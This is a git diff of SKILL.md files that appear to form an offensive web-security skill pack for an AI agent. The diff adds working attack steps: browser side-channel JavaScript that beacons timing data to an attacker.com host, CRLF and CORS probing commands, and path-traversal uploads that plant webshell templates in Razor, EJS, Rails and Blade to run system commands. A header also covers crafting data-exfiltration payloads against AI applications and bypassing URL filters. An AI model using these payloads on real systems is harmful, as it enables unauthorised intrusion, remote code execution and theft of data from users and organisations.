diff --git a/capabilities/web-security/skills/agent-browser/SKILL.md b/capabilities/web-security/skills/agent-browser/SKILL.md index 2df1353..23f6c70 100644 --- a/capabilities/web-security/skills/agent-browser/SKILL.md +++ b/capabilities/web-security/skills/agent-browser/SKILL.md @@ -195,59 +195,21 @@ agent-browser click @e5 agent-browser wait --load networkidle ``` -### Authentication with Auth Vault (Recommended) +### Authentication (see [references/authentication.md](references/authentication.md) for full details) ```bash -# Save credentials once (encrypted with AGENT_BROWSER_ENCRYPTION_KEY) -# Recommended: pipe password via stdin to avoid shell history exposure +# Auth vault (recommended): credentials stored encrypted, LLM never sees password echo "pass" | agent-browser auth save github --url https://github.com/login --username user --password-stdin - -# Login using saved profile (LLM never sees password) agent-browser auth login github -# List/show/delete profiles -agent-browser auth list -agent-browser auth show github -agent-browser auth delete github -``` - -### Authentication with State Persistence - -```bash -# Login once and save state -agent-browser open https://app.example.com/login -agent-browser snapshot -i -agent-browser fill @e1 "$USERNAME" -agent-browser fill @e2 "$PASSWORD" -agent-browser click @e3 -agent-browser wait --url "**/dashboard" -agent-browser state save auth.json - -# Reuse in future sessions -agent-browser state load auth.json -agent-browser open https://app.example.com/dashboard -``` - -### Session Persistence - -```bash -# Auto-save/restore cookies and localStorage across browser restarts +# Session persistence: auto-save/restore across restarts agent-browser --session-name myapp open https://app.example.com/login # ... login flow ... -agent-browser close # State auto-saved to ~/.agent-browser/sessions/ - -# Next time, state is auto-loaded -agent-browser --session-name myapp open https://app.example.com/dashboard - -# Encrypt state at rest -export AGENT_BROWSER_ENCRYPTION_KEY=$(openssl rand -hex 32) -agent-browser --session-name secure open https://app.example.com +agent-browser close # State auto-saved -# Manage saved states -agent-browser state list -agent-browser state show myapp-default.json -agent-browser state clear myapp -agent-browser state clean --older-than 7 +# State files: manual save/load +agent-browser state save auth.json +agent-browser state load auth.json ``` ### Data Extraction @@ -621,4 +583,3 @@ Supported engines: - `lightpanda` -- Lightpanda headless browser via CDP (10x faster, 10x less memory than Chrome) Lightpanda does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`. Install Lightpanda from https://lightpanda.io/docs/open-source/installation. - diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md index 28599ed..0b612ff 100644 --- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md +++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md @@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation. +**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side. + ## Fingerprinting (Blind) | Signal | Technique | diff --git a/capabilities/web-security/skills/browser-side-channel/SKILL.md b/capabilities/web-security/skills/browser-side-channel/SKILL.md index 8e0ca3b..0ce1d49 100644 --- a/capabilities/web-security/skills/browser-side-channel/SKILL.md +++ b/capabilities/web-security/skills/browser-side-channel/SKILL.md @@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via ## Techniques ### XSS-Leak via Connection Pool Exhaustion (Chrome) -Exploit Chrome's per-process socket pool limit to leak cross-origin redirects: 1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections) 2. **Trigger** a cross-origin navigation that may redirect based on state -3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full +3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion 4. **Binary search** the leaked hostname character by character -Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state. - -Test setup: ```javascript // Saturate pool with 255 WebSocket connections to different hosts for (let i = 0; i < 255; i++) { new WebSocket(`wss://pad-${i}.attacker.com/hold`); } -// Trigger cross-origin fetch — redirect destination leaks via timing -fetch('https://target.com/auth-redirect', {mode: 'no-cors'}); -// Measure: if redirect went to admin.target.com vs login.target.com -// the DNS resolution timing differs due to pool exhaustion ordering +// Trigger cross-origin fetch -- redirect destination leaks via timing +const start = performance.now(); +fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => { + const elapsed = performance.now() - start; + // admin.target.com vs login.target.com have different DNS timing under pool exhaustion + navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`); +}); ``` +**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`. + ### Cross-Site ETag Length Oracle (Express.js) -Exploit Express's default 16KB header limit to create a boolean oracle: 1. **Observe**: Express auto-generates ETag headers for responses 2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match` 3. **Overflow**: Pad the request to approach 16KB header limit -4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified. -5. **Leak**: Response size reveals content (e.g., admin panel vs 403) +4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified. ```http GET /api/user/profile HTTP/1.1 If-None-Match: "cached-etag-value" X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold) ``` -- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data) -- 304 = ETag matched, response was small → different state +- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data) +- 304 = ETag matched, response was small -> different state + +**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes. ### Timing-Based State Detection -Measure response time differences for cross-origin requests: -```javascript -const start = performance.now(); -const img = new Image(); -img.onload = img.onerror = () => { - const elapsed = performance.now() - start; - // Authenticated responses often larger/slower than 302 redirects - if (elapsed > THRESHOLD) { /* user is logged in */ } -}; -img.src = 'https://target.com/dashboard-asset'; + +```html + ``` +**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing. + ### Cache Probing -Detect if a user has visited a URL by measuring cache hit vs miss timing: -- Cached resource loads in ~1-2ms -- Network fetch takes 50ms+ -- Reveals browsing history for same-origin resources +Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources. + +**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources. + +## Workflow -## Detection Checklist 1. Map target redirects that differ based on auth/role state 2. Identify response size differences between states (admin vs user vs anon) 3. Check if Express.js (ETag auto-generation) or similar framework in use -4. Test `performance.now()` timing resolution in target browser -5. Determine if attack requires user interaction or is fully passive - -## Key Insight -These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content. +4. Select technique based on available signal: + - Size difference -> ETag oracle + - Redirect difference -> connection pool exhaustion + - Timing difference -> timing-based detection +5. Run PoC with >=30 samples, calculate mean/stddev +6. If stddev > mean/3 -> increase samples or try different technique +7. Confirm cross-origin: PoC must work from attacker origin, not same-origin diff --git a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md index 948db71..f4395fe 100644 --- a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md +++ b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md @@ -59,10 +59,16 @@ If you can inject only one CRLF and not split the body, useful follow-on headers - `Refresh: 0;url=https://attacker.example` - cache-control mutations for poisoning -## Indicators -- Header reflection preserves CRLF characters -- `%0d%0a` behaves differently from `%0a` -- CSP blocks inline payloads but allows same-origin scripts +## Detection +```bash +# Test for CRLF injection in headers +curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected" + +# Compare %0d%0a vs %0a behavior +curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected" +``` + +**Checkpoint:** If `X-Injected` appears in response headers with `%0d%0a` but not with `%0a` alone, CRLF injection is confirmed. Check CSP with `curl -sD- URL | rg -i "content-security-policy"` to determine if nested splitting is needed. ## Chain With - `web-cache-deception-path` diff --git a/capabilities/web-security/skills/data-exfil/SKILL.md b/capabilities/web-security/skills/data-exfil/SKILL.md index 17594ca..44f343c 100644 --- a/capabilities/web-security/skills/data-exfil/SKILL.md +++ b/capabilities/web-security/skills/data-exfil/SKILL.md @@ -1,14 +1,7 @@ --- name: data-exfil -description: | - AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk. -allowed-tools: - - read - - write - - edit_file - - bash - - grep - - glob +description: AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk. +allowed-tools: read, write, edit_file, bash, grep, glob --- # AI Data Exfiltration Techniques diff --git a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md index 8cb60f0..6f2a5d9 100644 --- a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md +++ b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md @@ -1,168 +1,72 @@ --- name: dom-vulnerability-detection -description: DOM-based XSS and client-side vulnerability detection for code review and dynamic analysis. USE WHEN auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, testing postMessage handlers, checking URL validation, investigating client-side template injection (AngularJS, Vue.js, htmx), OR identifying attacker-controlled sources and dangerous sinks. Covers source tracing, sink identification, sanitization validation, browser quirks (DOM clobbering, mutation XSS), and framework-specific vulnerabilities. +description: DOM-based XSS and client-side vulnerability detection via dynamic analysis -- trace attacker-controlled sources to dangerous sinks, audit postMessage handlers, test CSTI in Angular/Vue/htmx, and check for DOM clobbering. Use when auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, or testing postMessage handlers. --- -# DynamicDomVulnerabilityDetection +## Sources (attacker-controlled input) +`location.hash`, `location.search`, `location.href`, `document.URL`, `document.referrer`, `window.name`, `postMessage event.data`, `document.cookie`, `localStorage`/`sessionStorage` -Comprehensive framework for identifying DOM-based cross-site scripting (XSS) and related client-side vulnerabilities during code review and dynamic analysis. +## Sinks (dangerous output) +`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout(string)`, `new Function()`, `location.href=`, `location.assign()`, `element.src=`, `jQuery.html()`, `$.globalEval()`, `v-html`, `ng-bind-html`, `dangerouslySetInnerHTML` -## Overview +## Analysis workflow -DOM-based vulnerabilities occur when JavaScript reads data from an attacker-controlled source (for example, the URL or a cross-origin message) and sends it to a sink that interprets it as HTML or JavaScript. This skill summarizes the critical concepts and patterns needed to detect and exploit these issues, based on research across multiple security resources. +### 1. Find sources reaching sinks +```bash +# Search for dangerous sinks in JS files +rg "innerHTML|outerHTML|document\.write|\.html\(" --type js --type ts -n src/ +rg "eval\(|setTimeout\(|setInterval\(|new Function\(" --type js -n src/ -## When to Use This Skill - -Activate this skill whenever you are asked to: -* Review JavaScript or HTML for potential cross-site scripting vulnerabilities -* Assess whether user-controlled data can reach dangerous DOM APIs (innerHTML, document.write, eval, etc.) -* Audit custom safe-URL helpers or regex filters for URL or input validation -* Investigate cross-window messaging (postMessage) logic for origin and reference checks -* Test single-page applications or front-end frameworks (AngularJS, Vue.js, htmx, etc.) for client-side template injection (CSTI) - -## Step-by-Step Analysis Framework - -### 1. Identify Attacker-Controlled Sources - -Look for any of the following sources of input. These can carry malicious payloads if not properly sanitised: - -* **Location:** `window.location`, `location.search`, `location.hash`, and related properties. Path and fragment data may be used without encoding. -* **Referrer:** `document.referrer` can contain untrusted data. -* **Cookies and storage:** Values from `document.cookie`, `localStorage`, etc., may originate from another subdomain or previous XSS. -* **Window name:** `window.name` is cross-origin writable and readable. -* **Messages:** Data passed via `postMessage` (the `e.data` property) is arbitrary and untrusted. - -Use search tools (Ctrl+Shift+F in DevTools or grep) to find these sources in JavaScript files. - -### 2. Trace the Data Flow - -After locating a source, trace each assignment or transformation until you reach a sink. Keep track of variable names as they are reassigned. Use breakpoints in DevTools to inspect variable values at runtime. - -### 3. Locate Dangerous Sinks - -Common DOM sinks include: - -* **HTML injection:** Assignments to `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML`, calls to `document.write()`, `document.open()` ... `.write()` `.close()`, or jQuery's `.html()` and `.append()`. -* **URL redirects:** Assigning unvalidated strings to `location`, `location.href`, `location.assign()`, `window.open()`, or setting attribute values such as `element.src` or `element.href`. -* **Code execution:** Calls to `eval()`, `Function()`, `setTimeout()` or `setInterval()` with string arguments. jQuery's `$()` selector and other library helpers may implicitly call `.innerHTML`. -* **Template expressions:** AngularJS attributes like `ng-init` and Vue.js interpolation (`{{ ... }}`) interpret input as code. - -If user-controlled data flows into any of these sinks, test for XSS by injecting a harmless payload such as `` for HTML sinks, or `alert(1)` for JavaScript sinks. Remember that ` -``` +| CWE | Name | Test Strategy | +|-----|------|---------------| +| CWE-639 | IDOR | Two accounts, cross-access resources | +| CWE-862 | Missing Authorization | Access without token/session | +| CWE-863 | Incorrect Authorization | Vertical/horizontal privilege escalation | +| CWE-22 | Path Traversal | `../` sequences to escape directory | -### Server-Side Request Forgery (CWE-918) +### SSRF (CWE-918) | Pattern | Test | Impact | |---------|------|--------| | URL parameter | `url=http://127.0.0.1` | Internal network access | -| Webhook URL | Register callback to internal IP | Internal service interaction | -| File import | Import from `file:///etc/passwd` | Local file read | -| PDF/Image generation | Embed internal URL in content | Blind SSRF via render | - -**Detection signals**: Parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src` in query strings or request bodies. - -### Authentication/Session (OWASP A07:2021) +| Webhook URL | Callback to internal IP | Internal service interaction | +| PDF/Image generation | Embed internal URL | Blind SSRF via render | -| CWE | Name | Test | -|-----|------|------| -| CWE-287 | Improper Authentication | Bypass login without valid credentials | -| CWE-384 | Session Fixation | Force known session ID on victim | -| CWE-613 | Insufficient Session Expiration | Check token lifetime, no logout invalidation | -| CWE-798 | Hardcoded Credentials | Scan source for API keys, passwords | -| CWE-307 | Brute Force | Unlimited login attempts without lockout | +Detection: parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src`. -**Detection signals**: Leaked secrets (JWT, API keys, tokens) in JS source or responses; auth-related endpoints (`/login`, `/auth`, `/token`, `/session`). +### CORS Misconfiguration (CWE-942) -### Cryptographic Failures (OWASP A02:2021) - -| CWE | Name | Signal | -|-----|------|--------| -| CWE-327 | Broken Crypto Algorithm | MD5, SHA1 for passwords, DES encryption | -| CWE-328 | Reversible One-Way Hash | Weak hash without salt | -| CWE-330 | Insufficient Randomness | Math.random() for tokens, sequential IDs | -| CWE-311 | Missing Encryption | Sensitive data over HTTP, plaintext storage | - -### Business Logic - -| Category | Pattern | Test | -|----------|---------|------| -| Race Condition | Concurrent state changes | Parallel requests to same endpoint | -| Price Manipulation | Client-side price calculation | Modify price in request body | -| Workflow Bypass | Multi-step process | Skip steps, replay earlier step | -| Privilege Escalation | Role-based features | Access admin features as regular user | - -### AI/LLM Specific (OWASP LLM Top 10) - -| Category | CWE Analog | Pattern | -|----------|-----------|---------| -| Prompt Injection | CWE-74 (injection) | User input reaches model context without sanitization | -| Insecure Output | CWE-79 (XSS) | Model output rendered as HTML/code without sanitization | -| Training Data Poisoning | CWE-502 (deserialization) | Malicious data in training/fine-tuning pipeline | -| Excessive Agency | CWE-269 (privilege) | Model has unrestricted tool access | -| System Prompt Leak | CWE-200 (info disclosure) | System instructions extractable via prompt manipulation | - -## Static Analysis Signal -> Vulnerability Mapping - -| Signal Pattern | Potential Vulnerability | Priority | -|---|---|---| -| `dangerouslySetInnerHTML` | DOM XSS (React) | High | -| `innerHTML` assignment | DOM XSS (vanilla JS) | High | -| `window.onmessage` / `addEventListener('message')` | postMessage XSS / cross-origin abuse | High | -| `location.href` / `window.location` assignment | Open redirect / javascript: XSS | Medium | -| `URLSearchParams` | Client-side parameter injection | Medium | -| Hardcoded JWT | Token reuse (test if valid) | High | -| Leaked API keys / tokens | Credential exposure | Critical | -| `__schema` / `__type` in requests | GraphQL introspection surface | Medium | -| API paths with numeric IDs | IDOR candidates | Medium | - -## Useful Grep Patterns for HTTP Traffic +```bash +# Test origin reflection +curl -s -H "Origin: https://attacker.com" "https://target.com/api/user" | grep -i "access-control" +# Test with credentials +curl -s -H "Origin: https://attacker.com" -H "Cookie: session=xyz" \ + "https://target.com/api/user" -v 2>&1 | grep -i "access-control" ``` -# IDOR candidates - endpoints with numeric IDs -/[a-z]+/[0-9]+(/|$) -# Potential file inclusion -(file|path|dir|folder|template|page|include)= +**Reporting standard:** Origin reflection alone is NOT sufficient. Must provide working JS PoC demonstrating credential theft or state-changing action. -# Potential SSRF -(url|uri|href|src|redirect|callback|proxy|fetch)= +## Grep Patterns for HTTP Traffic -# Auth tokens in URLs (should be in headers) -(token|key|api_key|apikey|secret|auth|session)= +```bash +# IDOR candidates +rg '/[a-z]+/[0-9]+(/|$)' http_requests/ -# Sensitive data in responses -(password|secret|private_key|api_key|token) +# Potential SSRF parameters +rg '(url|uri|href|src|redirect|callback|proxy|fetch)=' http_requests/ -# Error messages -(exception|traceback|stack trace|syntax error|SQLSTATE) +# Auth tokens in URLs (should be in headers) +rg '(token|key|api_key|secret|auth|session)=' http_requests/ -# Mass assignment candidates -PATCH or PUT requests with extra fields +# Error messages leaking info +rg '(exception|traceback|stack.trace|syntax.error|SQLSTATE)' http_requests/ ``` -## Usage +## Reference Files -This knowledge base is consulted during: -1. **vuln-critic** - To validate finding plausibility and map to CWE -2. **exploit-verifier** - To select appropriate verification procedures -3. Testing strategy guidance based on tech stack +- [testing-checklist.md](testing-checklist.md) -- Full testing checklist by category +- [analysis-strategies.md](analysis-strategies.md) -- Six analysis lenses (taint, trust boundary, business logic, config audit, race conditions, cross-context) diff --git a/capabilities/web-security/skills/write-path-to-rce/SKILL.md b/capabilities/web-security/skills/write-path-to-rce/SKILL.md index 2c62f49..5054146 100644 --- a/capabilities/web-security/skills/write-path-to-rce/SKILL.md +++ b/capabilities/web-security/skills/write-path-to-rce/SKILL.md @@ -6,52 +6,102 @@ description: Escalate arbitrary file write into code execution by abusing framew # Arbitrary File Write -> RCE via View Engine Resolution ## Pattern -- You have arbitrary file write through path traversal, upload, report generation, or similar functionality +- You have arbitrary file write (path traversal, upload, report generation) - The web server blocks direct requests to executable extensions - The framework still resolves, compiles, or loads files internally from the filesystem -## Key Insight -HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access to that extension is blocked. +HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked. -## Framework Cheatsheet +## Workflow -### ASP.NET MVC (Razor) -Typical search paths include: -- `~/Views/{controller}/{action}.cshtml` -- `~/Views/Shared/{action}.cshtml` +### 1. Confirm arbitrary write +```bash +# Write a canary file to a known location +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@canary.txt;filename=../../../tmp/canary.txt" -Write a Razor payload into a reachable search path and trigger the matching controller or action. +# Verify write +curl -x localhost:8080 -k "https://target.com/tmp/canary.txt" +``` -### Ruby on Rails -Zeitwerk and wildcard routing can make controller or helper writes reachable when files land inside autoload paths such as: -- `app/controllers/` -- `app/models/` -- `app/helpers/` -- `lib/` +**Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here. -### Express.js -If the application renders attacker-writable EJS or Pug templates from `views/`, template execution becomes server-side code execution. +### 2. Identify framework and map resolution paths -### Django and Flask -If the target uses Jinja2 or unsafe template rendering paths, attacker-writable templates can execute on render. +```bash +# Check response headers for framework hints +curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet" -### Laravel -Blade templates written into `resources/views/` become reachable through normal view resolution. +# Trigger a 404 to see error page (often reveals framework + view paths) +curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz" +``` -### Go -Go templates are usually more constrained. In Go applications, arbitrary write more often needs to chain into source replacement, build triggers, or unsafe helper functions rather than template execution alone. +### 3. Write payload to searched path -## Detection -- Error messages disclose view search paths -- ProcMon or `strace` shows framework file lookups during normal requests -- Writable application paths overlap with template, view, or autoload directories +#### ASP.NET MVC (Razor) +```bash +# View resolution: ~/Views/{controller}/{action}.cshtml, ~/Views/Shared/{action}.cshtml +# Write webshell to a view path +echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.cshtml;filename=../Views/Shared/Error.cshtml" +# Trigger: visit any URL that renders the Error view (e.g., cause a 500) +``` -## Validation Steps -1. Confirm arbitrary write by placing a canary file. -2. Map the framework's resolution order. -3. Write a payload into a searched path. -4. Trigger the code path that resolves or renders that file. -5. Confirm execution with a benign command, callback, or file creation. +#### Express.js (EJS/Pug) +```bash +# View resolution: views/{name}.ejs +echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.ejs;filename=../views/index.ejs" +# Trigger: visit the route that renders index view +``` + +#### Ruby on Rails +```bash +# Zeitwerk autoload paths: app/controllers/, app/models/, app/helpers/, lib/ +# Write a controller that executes on load +echo 'system("id > /tmp/pwned.txt")' > payload.rb +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.rb;filename=../../../app/helpers/exploit_helper.rb" +# Trigger: any request that loads helpers (most routes) +``` + +#### Laravel (Blade) +```bash +# View resolution: resources/views/{name}.blade.php +echo '{!! system("id") !!}' > payload.blade.php +curl -x localhost:8080 -k "https://target.com/upload" \ + -F "file=@payload.blade.php;filename=../resources/views/welcome.blade.php" +# Trigger: visit / (default welcome route) +``` + +#### Django/Flask (Jinja2) +```bash +# Template dirs: templates/ +echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html +# Use this to enumerate classes, then find os.popen or subprocess for RCE +``` + +### 4. Trigger resolution and verify execution +```bash +# Trigger the route that renders the overwritten template +curl -x localhost:8080 -k "https://target.com/target-route" + +# Verify execution via OOB callback or file creation +curl -x localhost:8080 -k "https://target.com/out.txt" +``` + +**Checkpoint:** Confirm execution with a benign command (whoami, id) or OOB callback. Do not proceed with destructive payloads until execution is confirmed. + +## Detection Signals +```bash +# Error messages disclosing view search paths +rg "ViewEngine|Could not find view|template not found" http_requests/ + +# Framework file lookups (if you have strace/procmon access) +strace -e trace=open,openat -p 2>&1 | grep -i "views\|templates" +``` ## Chain With - `apache-confusion-attacks`